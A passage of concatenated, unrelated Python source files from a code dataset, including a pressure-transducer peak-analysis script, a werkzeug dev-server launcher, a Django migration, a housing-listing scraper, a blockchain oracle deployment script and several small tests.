order=n)[0]]['data']\r\n df['max'] = df.iloc[find_peaks(df.data.values, height=tr_hd,distance=tr_dis)[0]]['data']\r\n \r\n df=df.dropna() # drop nan from the dataframe\r\n print(\"--------------------------------Peaks preview----------------------------- \")\r\n print(df.head())\r\n print(\"number of peaks = \",df.shape[0])\r\n print(\"-------------------------------------------------------------------------- \")\r\n # Plot results\r\n# fig = plt.figure(1)\r\n# plt.scatter(df.index, df['min'], c='r')\r\n# plt.scatter(df.index, df['max'], c='g')\r\n# plt.plot(df.index, df['data'])\r\n\r\n# plt.xlabel('index')\r\n# plt.ylabel('Pressure[mm]')\r\n# plt.title('Pressure record time series')\r\n #plt.text(60, .025, r'$\\mu=100,\\ \\sigma=15$')\r\n #plt.axis([0, 144000, 0, 1000])\r\n# plt.grid(True)\r\n\r\n# plt.show()\r\n #fig.savefig('test.pdf')\r\n return(df)\r\n \r\ndef scaleUp_std(df,ttype):\r\n \r\n if ttype==1:\r\n #for pressure transducers \r\n scale_fac=90\r\n data=df['data']*9.81*1025/1000*scale_fac/1000/100 #in bar\r\n print ('Scale factor = ',scale_fac)\r\n print('density of water = ',1025 ,'kg/m^3')\r\n print ('acceleration due to gravity =',9.81 ,'m/s^2')\r\n print(\"------------------------sacled data preview------------------------------- \")\r\n print(data.head(10))\r\n return(data)\r\n if ttype==2:\r\n #for loadcells \r\n\r\n data=df['data']*9.81*1025/1000*scale_fac/1000 #in KPa\r\n print(\"------------------------sacled data preview------------------------------- \")\r\n print(data.head())\r\n return(data)\r\n if ttype==3:\r\n #for scale up the time\r\n scale_fac=90\r\n #in bar\r\n return(df*9.81*1025/1000*scale_fac/1000/100)\r\n \r\n\r\n\r\ndef MeanNPeak(df) :\r\n dat=scaleUp_std(df,1)\r\n\r\n #find the mean and peak of the given data series \r\n import statistics as stat\r\n sort_dat=dat.sort_values(ascending=False) \r\n\r\n SignOfPeaks=stat.mean(sort_dat[0:round(sort_dat.size/3)]) # mean of the data \r\n #LNoOfOcc=stat.mode(dat)# value that occuring maximum time\r\n MaxVal=max(dat) # highest peak value among the peaks \r\n #display results \r\n print(\"------------------------sacled data preview------------------------------- \")\r\n print(\"--------------------function MeanNpeak results---------------------------- \")\r\n print('maximum of peak :',MaxVal,'bar')\r\n print('avarage of the peaks :',stat.mean(dat),'bar')\r\n print('significant of peaks :',SignOfPeaks,'bar')\r\n #print('value occuring most : ',LNoOfOcc)\r\n\r\n print(\"---------------------------------END-------------------------------------- \")\r\n print(\"-------------------------------------------------------------------------- \")\r\n #plt.figure(2)\r\n #plt.plot(dat)\r\n #plt.show()\r\n return([SignOfPeaks,stat.mean(dat),MaxVal])\r\n\r\nif __name__== \"__main__\":\r\n import sys\r\n engine = pyttsx3.init()\r\n\r\n ###################################################################################\r\n \r\n fl_name=[\"Results/FullLoad/B_360/S8.txt\"]\r\n fl_out='Results/FullLoad/B_360/PressureTransducers/S8.out'\r\n sys.stdout = open(fl_out,'wt')\r\n# pt_name=['PT_K2']\r\n datum= 0\r\n cutoffht=-50\r\n cutoffq=1200\r\n\r\n ###################################################################################\r\n if input('Password: ')!='f*****f':\r\n engine.say('you entered a wrong passkey')\r\n engine.runAndWait()\r\n winsound.Beep(440,2000)\r\n\r\n\r\n sys.exit()\r\n\r\n print(\"###########################################################################\")\r\n print(\"## FPSO ANALYSIS ###\")\r\n print(\"## ANU NAIR(Guide: PROF.VAS) IIT MADRAS, INDIA ###\")\r\n print(\"###########################################################################\")\r\n\r\n print (\"\\n\") \r\n import datetime\r\n now = datetime.datetime.now()\r\n print (\"Current date and time : \")\r\n print (now.strftime(\"%Y-%m-%d %H:%M:%S\"))\r\n print (\"___________________________________________________________________________\") \r\n\r\n print (\"___________________________________________________________________________\") \r\n \r\n\r\n outD=[['file','sensor','datum','cutoffht','Cutoffbar','cutoffq','Significant','Avarage','Mmax']]\r\n pt_name=['PT_K4','PT_K5','PT_SW1','PT_SW4','PT_K2','PT_K6','PT_SW3','PT_SW2','PT_K1','PT_K3']\r\n\r\n# fl_name=['QX/S1.txt','QX/S2.txt','QX/S3.txt','QX/S4.txt','QX/S5.txt','QX/S6.txt','QX/S7.txt','QX/S8.txt'] \r\n\r\n qtxt1='check in file ' + fl_name[0]\r\n qtxt2='check out file ' + fl_out\r\n \r\n engine.say('Check input and out file')\r\n engine.runAndWait()\r\n\r\n if input(qtxt1)=='****':exit()\r\n if input(qtxt2)=='****':exit()\r\n for j in fl_name:\r\n for i in pt_name:\r\n data=DataSort(j,\"Qx\",i)\r\n \r\n fig = plt.figure(num=None, figsize=(20, 8), dpi=80, facecolor='w', edgecolor='k')\r\n plt.plot(data)\r\n \r\n df=PeakFinder(data,cutoffht,cutoffq)\r\n \r\n plt.scatter(df.index, df['max'], c='g')\r\n plt.xlabel('index')\r\n plt.ylabel('Pressure[mm]')\r\n plt.title('Pressure record time series')\r\n plt.grid(True)\r\n\r\n plt.show()\r\n plt.draw()\r\n engine.say('Plot created')\r\n engine.runAndWait()\r\n\r\n plt.pause(20)\r\n winsound.Beep(440,300)\r\n\r\n while input(\"need more time? [enter] \")=='':\r\n\r\n plt.pause(10)\r\n winsound.Beep(440,300) \r\n\r\n plt.close()\r\n\r\n chk=input(\"change controls? [enter] \")\r\n \r\n while chk=='':\r\n datum=float(input(\"Datum = \"))\r\n\r\n cutoffht=float(input(\"thd-Y = \"))\r\n# cutoffq=float(input(\"thd-x = \"))\r\n print (\"initial value \" ,datum) \r\n df=PeakFinder(data,cutoffht,cutoffq)\r\n fig = plt.figure(num=None, figsize=(20, 8), dpi=80, facecolor='w', edgecolor='k')\r\n plt.plot(data)\r\n\r\n plt.scatter(df.index, df['max'], c='g')\r\n plt.xlabel('index')\r\n plt.ylabel('Pressure[mm]')\r\n plt.title('Pressure record time series')\r\n plt.grid(True)\r\n\r\n plt.show()\r\n plt.draw()\r\n engine.say('Plot created')\r\n engine.runAndWait()\r\n\r\n plt.pause(10)\r\n winsound.Beep(440,300)\r\n\r\n while input(\"need more time? [enter] \")=='':\r\n\r\n plt.pause(10)\r\n winsound.Beep(440,300)\r\n plt.close()\r\n\r\n\r\n chk=input(\"change controls? [enter] \")\r\n\r\n [S,A,M]=MeanNPeak(df)\r\n print('datum','cutoffht','Cutoffbar','cutoffq','Significant','Avarage','Mmax')\r\n print(datum,cutoffht,scaleUp_std(cutoffht,3),cutoffq,S,A,M)\r\n\r\n outD.append([j,i,datum,cutoffht,scaleUp_std(cutoffht,3),cutoffq,S,A,M])\r\n Endtxt=i+' is done !!. Any notes? '\r\n print('Note: ',input(Endtxt))\r\n winsound.Beep(240,400)\r\n flag=input(\"***********NEXT SENSOR? [enter to continue/**** to break]\")\r\n if flag =='****': \r\n winsound.Beep(440,2000)\r\n break \r\n\r\n print (\"-----------------------------End of the probe r----------------------------\")\r\n print (\"___________________________________________________________________________\")\r\n\r\n from pandas import ExcelWriter\r\n Daat=pd.DataFrame(outD)\r\n\r\n writer = ExcelWriter(fl_out + '.xlsx')\r\n Daat.to_excel(writer,'Sheet1')\r\n writer.save()\r\n print (\"-----------------------------End of the program----------------------------\")\r\n print (\"___________________________________________________________________________\")\r\n\r\n\r\n\r\n\r\n","sub_path":"DatProCode.py","file_name":"DatProCode.py","file_ext":"py","file_size_in_byte":10927,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"371861626","text":"import logging\nimport sys\nimport socket\n\nWERKZEUG_SHDM_CHANGE_RELEASE = '0.16.0'\n\nimport werkzeug\n\nif werkzeug.__version__ < WERKZEUG_SHDM_CHANGE_RELEASE:\n from werkzeug.wsgi import SharedDataMiddleware\nelse:\n from werkzeug.middleware.shared_data import SharedDataMiddleware\n\nfrom werkzeug.serving import run_simple\nfrom werkzeug.utils import import_string\n\nDEF_SERVER_IP = '127.0.0.1'\nDEF_SERVER_PORT = 4242\n\nlogging.basicConfig(level=logging.INFO)\n\n\ndef run_app(app, ip=DEF_SERVER_IP, port=DEF_SERVER_PORT, use_debugger=True, use_reloader=True, threaded=True):\n app = SharedDataMiddleware(app, {\n '/': 'static'\n })\n while True:\n try:\n run_simple(ip, port, app, use_debugger=use_debugger, use_reloader=use_reloader, threaded=threaded)\n break\n except (OSError, socket.error):\n port += 1\n\n\nif __name__ == '__main__':\n sys.path.insert(0, '.')\n if len(sys.argv) > 1:\n module_name = sys.argv[1]\n module_name = module_name.split('.py')[0]\n if ':' not in module_name:\n module_name += ':app'\n app = import_string(module_name)\n\n if len(sys.argv) > 2:\n server_ip = sys.argv[2]\n else:\n server_ip = DEF_SERVER_IP\n\n if ':' in server_ip:\n server_ip, server_port = server_ip.split(':')\n\n # For now, werkzeug defaults to localhost if ip == '', but may change.\n if not server_ip:\n server_ip = DEF_SERVER_IP\n\n try:\n server_port = int(server_port)\n except ValueError:\n try:\n server_port = socket.getservbyname(server_port, 'tcp')\n\n # OSError in python3, but error in python2.7.\n except Exception:\n server_port = DEF_SERVER_PORT\n else:\n server_port = DEF_SERVER_PORT\n\n run_app(app, server_ip, server_port)\n","sub_path":"pico/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":1859,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"158015253","text":"y = 'oi tudo bem'\n\n\n\nprint(y.replace('tudo', 'mau'))\n\n\n\n\n\n\n\n\nx = {1:'O Rat roeu', 2:'a roupa do rei'}\n\npalavra = input('')\n\nfor i in range(2):\n\n if palavra in x[1]:\n\n x[1].replace('Rat', 'Rato')\n\nprint(x)","sub_path":"Lista 08/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":214,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"282847183","text":"# coding=utf-8\n\ndef my_abs(x):\n if not isinstance(x, (int, float)):\n raise TypeError('数据类型错误,无法取绝对值')\n if x >= 0:\n return x\n else:\n return -x\n\n\n## 多个返回值\n## 其实也是一个返回值,返回的是个tuple,不可变的list\ndef my_fx(x, y, step):\n x2 = x + step\n y2 = y + step\n return x2, y2, x2 + x\n\n\n## 默认参数 定义一个函数求 X² ,f = X*X ,求X的三次方f= X*X*X ,。。。一直求到X的一百次方,你定义99个函数去?\n## 默认取平方\n## 定义有默认值得参数时,必传项必须写前边,明确传参。都是非必填项,变化大的放前边,也是为了方便调用者理解,明确传参\n## !!!默认参数必须指向不变对象!\ndef power(x, n=2):\n t = 1\n while (n > 0):\n n = n - 1\n t = t * x\n return t\n\n\n## 如果有多个默认参数,需要对后边的默认参数传值,则需要制定参数名\n## 例如 enter_info('张三', city='shanghai')\ndef enter_info(name, age=18, city='beijing'):\n print(\"name=\", name)\n print(\"age=\", age)\n print(\"city=\", city)\n","sub_path":"com.frank/learn/my_func.py","file_name":"my_func.py","file_ext":"py","file_size_in_byte":1130,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"218294970","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('rpg_base', '0012_auto_20150524_2246'),\n ]\n\n operations = [\n migrations.CreateModel(\n name='CharacterRelationship',\n fields=[\n ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n ('description', models.CharField(default=b'', max_length=250, null=True, blank=True)),\n ('from_character', models.ForeignKey(related_name='from_characters', to='rpg_base.Character')),\n ('to_character', models.ForeignKey(related_name='to_characters', to='rpg_base.Character')),\n ],\n ),\n migrations.AddField(\n model_name='character',\n name='relationships',\n field=models.ManyToManyField(related_name='related_to', through='rpg_base.CharacterRelationship', to='rpg_base.Character'),\n ),\n ]\n","sub_path":"rpg_base/migrations/0013_auto_20150524_2246.py","file_name":"0013_auto_20150524_2246.py","file_ext":"py","file_size_in_byte":1055,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"487472604","text":"import gzip\nfrom urllib import request\nimport requests\nfrom bs4 import BeautifulSoup as BS\nimport re\n\n\nclass HouseItem:\n\t\n\tdef __init__(self, house_name, house_url, house_type=''):\n\t\tself.house_name = house_name\n\t\tself.house_url = house_url\n\t\tself.slug = re.search(r'http://(.*)?.fang.com/', house_url).group(1)\n\t\tself.house_type = house_type\n\n\tdef __str__(self):\n\t\treturn self.house_name\n\n\tdef __eq__(self, other):\n\t\treturn other.house_name == self.house_name\n\n\ndef get_item_by_url(url):\n\tf_new = open('new_house.txt', 'at')\n\tf_add = open('house_addr.txt', 'at')\n\t# f_old = open('old_house.txt', 'at')\n\n\thtml_cont = requests.get(url)\n\thtml_cont.encoding = 'gbk'\n\n\tsoup = BS(html_cont.text, 'lxml')\n\n\tnhouse_list = BS(repr(soup.find('div', attrs='nhouse_list')), 'lxml')\n\thouse_list = nhouse_list.find_all('div', 'clearfix')\n\n\t# old_house = nhouse_list.find_all('div', 'contentList')\n\t# old_house_list = [house.find('h4') for house in old_house]\n\tadd_pattern = re.compile('\\[.+?\\](?P
.+?)[\\s\\n\\t]', flags=re.DOTALL)\n\tfor item in house_list:\n\t\ttry:\n\t\t\tnew_house = HouseItem(item.find('div', 'nlcd_name').text.strip(), item.find('div', 'nlcd_name').a['href'])\n\t\t\tposition = item.find('div', 'address')\n\t\t\t# matched = re.match(position_pattern, position.text)\n\t\t\t# district = matched.group('district')\n\t\t\t# address = matched.group('address')\n\t\t\tdistrict = position.a.span.text.strip('[]\\s\\n\\t')\n\t\t\taddress = position.a['title']\n\t\t\tif district == '':\n\t\t\t\tdistrict = '不明'\n\t\t\tif '请选择' in address:\n\t\t\t\taddress = re.match(add_pattern, address).group('address')\n\t\t\tprice = item.find('div', 'nhouse_price').text.strip()\n\t\texcept(AttributeError):\n\t\t\tcontinue\n\t\t\n\t\tprint(district)\n\t\tprint(address)\n\t\tf_add.write('{} {}\\n'.format(new_house.house_name, address))\n\t\tf_new.write('{} {} {} {} {}\\n'.format(new_house.house_name, new_house.slug, district, price, new_house.house_url))\n\t\tprint(new_house.house_name+new_house.slug+price)\n\n\t# for item in old_house:\n\t# \ttry:\n\t# \t\tnew_house = HouseItem(item.find('h4').a.text.strip(), item.find('h4').a['href'], house_type=item.find('h4').span.text.strip('[]'))\n\t# \t\tprice = item.find('h5').text.strip()\n\t# \texcept(AttributeError):\n\t# \t\tcontinue\n\n\t# \tf_old.write('{} {} {} {} {}\\n'.format(new_house.house_name, new_house.slug, price, new_house.house_type, new_house.house_url))\n\tf_add.close()\n\tf_new.close()\n\t# f_old.close()\n\n\tnext_url = soup.find('a', 'next')['href']\n\n\treturn next_url\n\n\n\n\nif __name__ == '__main__':\n\tbase_url = 'http://newhouse.bd.fang.com'\n\turl = 'http://newhouse.bd.fang.com/house/s/'\n\n\twhile(url != None):\n\t\tnext_url = get_item_by_url(url)\n\t\turl = base_url + next_url\n\t\tprint(url)\n\n\n\n\t\t\n","sub_path":"get_house_content.py","file_name":"get_house_content.py","file_ext":"py","file_size_in_byte":2654,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"97415681","text":"from datafilereaders.movie_file_csv_reader import MovieFileCSVReader\nfrom domainmodel.actor import Actor\nfrom domainmodel.director import Director\nfrom domainmodel.movie import Movie\nfrom domainmodel.review import Review\nfrom domainmodel.user import User\n\n\nclass TestDomainClasses:\n \n def test_init(self):\n director1 = Director(\"Taika Waititi\")\n assert repr(director1) == \"\"\n director2 = Director(\"\")\n assert director2.director_full_name is None\n director3 = Director(42)\n assert director3.director_full_name is None\n \n def test_csv_reader(self):\n filename = 'C:\\Bullshit\\CS235FlixSkeleton\\datafiles\\Data1000Movies.csv'\n movie_file_reader = MovieFileCSVReader(filename)\n movie_file_reader.read_csv_file()\n\n print(movie_file_reader.dataset_of_movies)\n\n print(f'number of unique movies: {len(movie_file_reader.dataset_of_movies)}')\n print(f'number of unique actors: {len(movie_file_reader.dataset_of_actors)}')\n print(f'number of unique directors: {len(movie_file_reader.dataset_of_directors)}')\n print(f'number of unique genres: {len(movie_file_reader.dataset_of_genres)}')\n \n def test_movies(self):\n movie = Movie(\"Moana\", 2016)\n print(movie)\n\n movie2 = Movie(\"Moana\", 1901)\n print(movie.release_year)\n\n director = Director(\"Ron Clements\")\n movie.director = director\n print(movie.director)\n\n actors = [Actor(\"Auli'i Cravalho\"), Actor(\"Dwayne Johnson\"), Actor(\"Rachel House\"), Actor(\"Temuera Morrison\")]\n for actor in actors:\n movie.add_actor(actor)\n print(movie.actors)\n\n movie.runtime_minutes = 107\n print(\"Movie runtime: {} minutes\".format(movie.runtime_minutes))\n\n def test_user(self):\n movie = Movie(\"Moana\", 2016)\n movie.runtime_minutes = 50\n review_text = \"This movie was very enjoyable.\"\n rating = 8\n review = Review(movie, review_text, rating)\n user1 = User('Martin', 'pw12345')\n user2 = User('Ian', 'pw67890')\n user3 = User('Daniel', 'pw87465')\n print(user3.time_spent_watching_movies_minutes)\n user3.watch_movie(movie)\n user3.add_review(review)\n print(user3.time_spent_watching_movies_minutes)\n print(user3.watched_movies)\n print(user3.reviews)\n print(user1 == user2)\n print(user1)\n print(user2)\n print(user3)","sub_path":"unit_tests/test_movie.py","file_name":"test_movie.py","file_ext":"py","file_size_in_byte":2491,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"253917165","text":"import pytest\nfrom unittest.mock import Mock\n\nfrom middlewared.service_exception import ValidationErrors\nfrom middlewared.schema import (\n accepts, LDAP_DN\n)\n\n\n@pytest.mark.parametrize('value,expected', [\n ('o=5def63d2b12d4332c706a57f,dc=jumpcloud,dc=com', 'o=5def63d2b12d4332c706a57f,dc=jumpcloud,dc=com'),\n ('canary', ValidationErrors),\n (420, ValidationErrors),\n])\ndef test__schema_ldapdn(value, expected):\n @accepts(LDAP_DN('data', null=True))\n def ldapdnnotnull(self, data):\n return data\n\n self = Mock()\n\n if expected is ValidationErrors:\n with pytest.raises(expected):\n ldapdnnotnull(self, value)\n else:\n assert ldapdnnotnull(self, value) == expected\n\n\ndef test__schema_ldapdn_null():\n @accepts(LDAP_DN('data', null=True))\n def ldapdnnull(self, data):\n return data\n\n self = Mock()\n\n assert ldapdnnull(self, None) is None\n","sub_path":"src/middlewared/middlewared/pytest/unit/plugins/test_ldap.py","file_name":"test_ldap.py","file_ext":"py","file_size_in_byte":905,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"178886503","text":"#!/usr/bin/env python3\n\nimport random as rd\nfrom math import log2\n\ndef find_power_two(n):\n m = log2(n)\n if 2**int(m) >= n:\n return int(m)\n else:\n return int(m)+1\n\ndef convert_binary_tuple(tup):\n result = 0\n for index,i in enumerate(tup):\n result += i*(2**index)\n return result+1\n\ndef randbit():\n return rd.getrandbits(1)\n\ndef randint(n):\n m = find_power_two(n)\n randint_prime = lambda m: (randbit() for i in range(m))\n j = convert_binary_tuple(randint_prime(m))\n while j>n:\n j = convert_binary_tuple(randint_prime(m))\n return j\n\ndef find_longest_streak(seq):\n i,length = 0,0\n max_i, max_j, max_length = 0,0,0\n for index,_ in enumerate(seq):\n if seq[index] == seq[i]:\n length += 1\n else:\n if length > max_length:\n max_i, max_j, max_length = i, index-1, length\n i = index\n length = 1\n if length > max_length:\n max_i, max_j, max_length = i, index, length\n return max_i, max_j, max_length\n\ndef homework(n=8, count = 1000000):\n array = [randint(n) for i in range(count)]\n return find_longest_streak(array)[2]\n\ndef expected(count = 10):\n return sum(homework() for i in range(count))/count\n","sub_path":"Archives/semester-4/CompSci/E0234 (Dropped)/Assignment-01/code/randint_mine.py","file_name":"randint_mine.py","file_ext":"py","file_size_in_byte":1251,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"385385251","text":"from brownie import (\n accounts, ERC20KP3ROracle, UniswapV2Oracle, ProxyOracle, CoreOracle,\n CurveOracle, WERC20, UbeswapV1Oracle\n)\nfrom brownie import interface\nfrom .utils import *\nimport json\n\ndef main():\n deployer = accounts.load('gh')\n f = open('scripts/dahlia_addresses.json')\n addr = json.load(f)['mainnet']\n\n core_oracle = CoreOracle.at(addr['core_oracle'])\n proxy_oracle = ProxyOracle.at(addr['proxy_oracle'])\n celo = interface.IERC20Ex(addr['celo'])\n cusd = interface.IERC20Ex(addr['cusd'])\n ceur = interface.IERC20Ex(addr['ceur'])\n mzpn = interface.IERC20Ex(addr['mzpn'])\n ube_router = interface.IUniswapV2Router02(addr['ube_router'])\n uni_oracle = UniswapV2Oracle.at(addr['uni_oracle'])\n ubeswap_oracle = UbeswapV1Oracle.at(addr['ube_oracle'])\n kp3r_oracle = ERC20KP3ROracle.at(addr['kp3r_oracle'])\n\n ubeswap_oracle.addPair(celo, cusd, {'from': deployer})\n ubeswap_oracle.addPair(celo, ceur, {'from': deployer})\n ubeswap_oracle.addPair(celo, mzpn, {'from': deployer})\n\n ube_factory_address = ube_router.factory({'from': deployer})\n ube_factory = interface.IUniswapV2Factory(ube_factory_address)\n\n celo_mzpn_lp = ube_factory.getPair(celo, mzpn)\n cusd_mzpn_lp = ube_factory.getPair(cusd, mzpn)\n ceur_mzpn_lp = ube_factory.getPair(ceur, mzpn)\n celo_cusd_lp = ube_factory.getPair(celo, cusd)\n\n core_oracle.setRoute([\n mzpn,\n cusd,\n ceur,\n celo_mzpn_lp,\n cusd_mzpn_lp,\n ceur_mzpn_lp,\n celo_cusd_lp,\n ], [\n kp3r_oracle,\n kp3r_oracle,\n kp3r_oracle,\n uni_oracle,\n uni_oracle,\n uni_oracle,\n uni_oracle,\n ], {'from': deployer})\n\n proxy_oracle.setTokenFactors([\n mzpn,\n cusd,\n ceur,\n celo_mzpn_lp,\n cusd_mzpn_lp,\n ceur_mzpn_lp,\n celo_cusd_lp,\n ], [\n [13000, 7800, 10250],\n [11000, 9000, 10250],\n [11000, 9000, 10250],\n [50000, 7800, 10250],\n [50000, 7800, 10250],\n [50000, 7800, 10250],\n [50000, 7800, 10250],\n ], {'from': deployer})\n\n print('Done!')","sub_path":"scripts/dahlia_add_oracle_params.py","file_name":"dahlia_add_oracle_params.py","file_ext":"py","file_size_in_byte":2140,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"222146208","text":"# coding: utf-8\n# 自分の得意な言語で\n# A003: 盤面ゲーム\n\n#\n# 補助メソッド\n#\n\n\n# 空盤面を作る\ndef initializeBoard():\n board = []\n for i in range(0, 8):\n board.append([])\n for j in range(0, 8):\n board[i].append(' ')\n return board\n\n\n# 盤面に存在する位置か確認する\ndef isOnGrid(grid, x, y):\n if (0 <= x < len(grid) and 0 <= y < len(grid)):\n return True\n return False\n\n\n# 盤面に石を置く(置き換える)\ndef addTileToGrid(grid, x, y, val):\n # NOTE: Without the condition, lines will wrap due to slicing!\n if (isOnGrid(grid, x, y)):\n grid[x][y] = val\n\n\n# 盤面に置かれている石を数える\ndef countStones(board):\n blacks = 0\n whites = 0\n for row in board:\n blacks += row.count('B')\n whites += row.count('W')\n return(whites, blacks)\n\n\n# 盤面を画面に出力 (DEBUG用���\ndef printBoard(board):\n for row in board:\n print(row)\n\n\n#\n# 本題\n#\n\n# 盤面の初期化\nboard = initializeBoard()\ninitialState = {(3, 3): 'W', (3, 4): 'B', (4, 3): 'B', (4, 4): 'W'} # 中央石を置く\nfor k, v in initialState.items():\n addTileToGrid(board, k[0], k[1], v)\n\n# 方向の定義\ndirections = [[0, 1], [0, -1], # y-axis\n [1, 0], [-1, 0], # x-axis\n [1, 1], [-1, -1], # llur-axis\n [-1, 1], [1, -1]] # ullr-axis\n\n\n# 入力処理\n# num_moves = int(input())\nwith open('a003test.txt') as f:\n content = f.read().splitlines()\n for line in content:\n move = line.split()\n color = move[0]\n movX, movY = [int(i)-1 for i in move[1:]]\n\n addTileToGrid(board, movX, movY, color) # 石を置く\n\n flips = [] # ひっくり返すx/yを入れる\n\n for d in directions: # 全方面にひっくり返す対象を確認する\n curFlips = []\n curX, curY = movX, movY\n curX += d[0]\n curY += d[1]\n\n while True:\n if (isOnGrid(board, curX, curY)):\n # 次が空いている場合、ひっくり返さない\n if (\" \" == board[curX][curY]):\n break\n # 次が違う色の場合、ひっくり返す対象になる可能性あり\n elif (color != board[curX][curY]):\n curFlips.append((curX, curY))\n # 次が同じ色の場合、間の意思すべてひっくり返し確定\n elif (color == board[curX][curY]):\n for f in curFlips:\n flips.append(f)\n break\n\n curX += d[0]\n curY += d[1]\n else:\n # 枠外でた場合、ひっくり返さない\n # for f in curFlips:\n # flips.append(f)\n break\n\n # ひっくり返す候補に入れたもの、ひっくり返す。\n for f in flips:\n addTileToGrid(board, f[0], f[1], color)\n\n# printBoard(board)\n# 結果出力\nwhites, blacks = countStones(board)\n\nif (blacks > whites):\n result = \"The black won!\"\nelif (whites > blacks):\n result = \"The white won!\"\nelse:\n result = \"Draw!\"\nwinner = \"black\" if (blacks > whites) else \"white\"\nprint(\"{:02d}-{:02d} {}\".format(blacks, whites, result))\n","sub_path":"paiza/py3/a003test.py","file_name":"a003test.py","file_ext":"py","file_size_in_byte":3399,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"459886827","text":"from os import sys\nfrom Jawa import *\nfrom ROOT import TFile, TTree, TH1, TCut, kRed, kYellow, kBlue, kOrange, kGreen, TF1, kMagenta, TMath, TH1F, TCanvas, TMath, TPaveText\nfrom PlotTools import *\nfrom Style import *\nfrom Wjconfig_new import *\n\ndef add(name, a, b):\n c = a.Clone(name)\n for i in range(c.GetN()):\n x = ROOT.Double(0.0)\n y1 = ROOT.Double(0.0)\n y2 = ROOT.Double(0.0)\n a.GetPoint(i, x, y1)\n b.GetPoint(i, x, y2)\n c.SetPoint(i, x, y1+y2)\n return c\n\ndef scale(name, a, b):\n c = a.Clone(name)\n for i in range(c.GetN()):\n x = ROOT.Double(0.0)\n y1 = ROOT.Double(0.0)\n a.GetPoint(i, x, y1)\n c.SetPoint(i, x, y1*b)\n return c\n\n\nSetLHCbStyle()\n\na = TPaveText(0.2, 0.8, 0.4, 0.87, \"NDC\")\na.SetFillStyle(0)\na.SetBorderSize(0)\na.AddText('LHCb')\n\nzj = Template(\"zmumuj\")\nzj.SetSelCut(selcut_zmumu)\nzj.AddTree(zmumuj.MUt)\nzj.AddTree(zmumuj.MDt)\nzj.AddVar(['M', 'boson_M/1000.0', 100, 60, 120])\nzj.Run()\n\no = Plot([zj.GetVar('M').GetHist()])\nfor p in o.plots: p.UseCurrentStyle()\no.plots[0].GetYaxis().SetTitleOffset(1.1)\no.setProp('colors', ['black'])\no.setProp('leglims', [0.2, 0.65, 0.5, 0.85])\no.ShiftLegY(-0.07)\no.setProp('markerstyles', [20, 0, 0, 0, 0])\no.setProp('filename', 'zmumuj_m')\no.setProp('normalised', False)\no.setProp('ylabel', 'Events / (0.6 GeV)')\no.setProp('xlabel', '#it{M_{#mu#mu}} [GeV]')\no.setProp('xlims', [60, 1200])\n#o.setProp('ylims', [0.9, 1.02])\no.setProp('location', '../figures')\no.setProp('labels', ['Data, #sqrt{s}=8 TeV'])\no.setProp('extraObjs', [a])\no.drawROOT()\n","sub_path":"WJet/python/draw_zjmass.py","file_name":"draw_zjmass.py","file_ext":"py","file_size_in_byte":1586,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"63445909","text":"import os.path as path\nimport json\n\nENCODING = 'windows-1251'\n\n\ndef load_data_from_json(file):\n \"\"\"\n Функция получает ссылку на фаил и считавет с него информацию. Если фаил соотвефтвует формату,\n то возвращает загруженные данные, иначе False\n :param file: ссылка на фаил\n :return: JSON\n \"\"\"\n data = json.load(file)\n if 'orders' in data:\n return data\n else:\n print('ERROR: Неверный формат файла')\n return False\n\n\ndef save_data_to_json(file_name, item, quantity, price, buyer, date):\n \"\"\"\n Функция поулчает название файла, куда нужно довабить нужную информацию о заказе и созраняется его.\n Возвращает True в случае успеха и False в случае неудачи\n :param file_name: название файла вкючая пусть\n :param item: Товар\n :param quantity: Количево\n :param price: Цена заказа\n :param buyer: Покупатель\n :param date: Дата заказ\n :return:\n \"\"\"\n headers = ['item', 'quantity', 'price', 'buyer', 'date']\n new_line = [item, quantity, price, buyer, date]\n with open(file_name, 'r', encoding=ENCODING) as file:\n data = load_data_from_json(file)\n if data:\n data['orders'].append(dict(zip(headers, new_line)))\n with open(file_name, 'w', encoding=ENCODING) as file:\n json.dump(data, file, indent=4)\n return True\n else:\n return False\n\n\nif __name__ == '__main__':\n test_file = path.dirname(__file__)+'/data/orders.json'\n save_data_to_json(test_file, 'item1', 2, 400, 'user1', '10-04-2019')\n","sub_path":"lesson_2/json_tasks.py","file_name":"json_tasks.py","file_ext":"py","file_size_in_byte":1846,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"439710575","text":"import sublime\nimport sublime_plugin\nimport re\n\nfrom .julia_unicode import latex_symbols, emoji_symbols\n\nRE_COMMAND_PREFIX = re.compile(\n r\".*(\\\\[\\^_]+[a-zA-Z0-9=+\\-()]*|\\\\[a-zA-Z]+|\\\\:[_a-zA-Z0-9+\\-]+:*)$\")\n\nsymbols = latex_symbols + emoji_symbols\n\n\nclass JuliaUnicodeMixin(object):\n def find_command_backward(self, view, pt):\n line_content = view.substr(view.line(pt))\n row, col = view.rowcol(pt)\n m = RE_COMMAND_PREFIX.match(line_content[:col])\n if m:\n return sublime.Region(pt - len(m.group(1)), pt)\n\n def look_command_backward(self, view, pt):\n ret = self.find_command_backward(view, pt)\n if ret:\n return 